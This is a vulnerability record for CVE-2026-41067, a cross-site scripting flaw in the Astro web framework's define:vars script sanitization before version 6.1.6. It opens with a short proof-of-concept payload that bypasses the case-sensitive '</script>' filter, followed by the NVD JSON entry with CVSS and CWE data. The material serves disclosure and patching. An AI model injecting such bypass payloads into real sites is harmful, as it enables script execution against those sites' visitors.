CVE-2026-41067

// PoC for CVE-2026-41067 // The payload uses a capital 'S' to bypass the case-sensitive regex /<\/script>/g const maliciousPayload = '</Script><img src=x onerror=alert(1)>'; // Example usage in an Astro component (Vulnerable version < 6.1.6) // --- // <script define:vars={{ userContent: maliciousPayload }}> // console.log(userContent); // </script> // --- // Result: The regex fails to match '</Script>', allowing the img tag to be injected and executed.

{"cve": {"id": "CVE-2026-41067", "sourceIdentifier": "[email protected]", "published": "2026-04-24T17:16:21.083", "lastModified": "2026-04-27T13:41:42.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Astro is a web framework. Prior to 6.1.6, the defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript. This vulnerability is fixed in 6.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:astro:astro:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "6.1.6", "matchCriteriaId": "F1E12104-0666-4579-82D6-3805F521F36A"}]}]}], "references": [{"url": "https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}